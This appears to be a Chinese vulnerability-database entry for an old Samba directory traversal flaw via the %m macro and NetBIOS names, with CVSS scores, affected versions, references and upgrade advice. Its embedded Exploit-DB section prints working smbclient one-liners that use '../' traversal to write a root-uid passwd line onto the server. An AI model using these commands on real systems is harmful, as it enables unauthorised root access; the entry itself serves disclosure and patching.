发布时间 :2001-06-23 00:00:00
修订时间 :2008-09-05 16:25:50

[原文]Directory traversal vulnerability in the %m macro in the smb.conf configuration file in Samba before 2.2.0a allows remote attackers to overwrite certain files via a .. in a NETBIOS name, which is used as the name for a .log file.

[CNNVD]Samba smb.conf配置文件%m macro目录遍历漏洞(CNNVD-200106-117)

        Samba 2.2.0a之前版本的smb.conf配置文件的%m macro存在目录遍历漏洞。远程攻击者可以借助用于.log文件名称的NETBIOS中的..覆盖某些文件。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:samba:samba:2.2.0Samba 2.2.0
cpe:/a:samba:samba:2.0.6Samba 2.0.6
cpe:/a:samba:samba:2.0.7Samba 2.0.7
cpe:/a:samba:samba:2.0.8Samba 2.0.8
cpe:/a:samba:samba:2.0.5Samba 2.0.5
cpe:/a:hp:cifs-9000_server:a.01.05HP CIFS_9000 Server A.01.05
cpe:/a:hp:cifs-9000_server:a.01.06HP CIFS_9000 Server A.01.06
cpe:/a:samba:samba:2.0.9Samba 2.0.9

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  XF  samba-netbios-file-creation(6731)
(VENDOR_ADVISORY)  BUGTRAQ  20010623 smbd remote file creation vulnerability
(UNKNOWN)  IMMUNIX  IMNX-2001-70-027-01
(UNKNOWN)  SGI  20011002-01-P

- 漏洞信息

Samba smb.conf配置文件%m macro目录遍历漏洞
危急 路径遍历
2001-06-23 00:00:00 2005-05-02 00:00:00
        Samba 2.2.0a之前版本的smb.conf配置文件的%m macro存在目录遍历漏洞。远程攻击者可以借助用于.log文件名称的NETBIOS中的..覆盖某些文件。

- 公告与补丁


- 漏洞信息 (20968)

Samba 2.0.x/2.2 Remote Arbitrary File Creation Vulnerability (EDBID:20968)
unix remote
2001-06-23 Verified
0 Michal Zalewski
N/A [点击下载]

Samba is a freely available file and printer sharing application maintained and developed by the Samba Development Team. Samba allows file and printer sharing between operating systems on the Unix and Microsoft platforms.

A remote local user can write arbitrary files on the Samba server, as the smb daemon does not sufficiently check NetBIOS name input. It is possible to overwrite files on the Samba server, and if a user has local access, potentially gain elevated privileges.

This problem makes it possible for a remote user to deny service to legitimate users, and a local user to potentially gain elevated privileges. 

smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N

From zhhsun <>

smbclient //NIMUE/"`perl -e '{print "\nopendoor::511:511::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I

and also

smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I

Yugo Yugos <> provided an exploit script. It is available at 		

- 漏洞信息

Samba NETBIOS Name Traversal Arbitrary Remote File Creation
Remote / Network Access Other
Loss of Confidentiality, Loss of Integrity
Exploit Unknown Vendor Verified

- 漏洞描述

This host is running the Samba software. Samba is a free application that provides file and print services to SMB/CIFS clients. This software is vulnerable to an arbitrary file creation attack. A potential intruder can use this to overwrite files and create a denial of service condition or in conjunction with other vulnerabilities to gain access to this host.

- 时间线

2001-06-23 Unknow
2001-06-23 Unknow

- 解决方案

The vendor has released an updated version that contains a fixes for this issue. Please upgrade to that latest version of Samba available from It's also suggested that ports 135/tcp, 139/tcp, 137/udp, and 138/udp be firewalled so only authorized hosts can access the Service.

- 相关参考

- 漏洞作者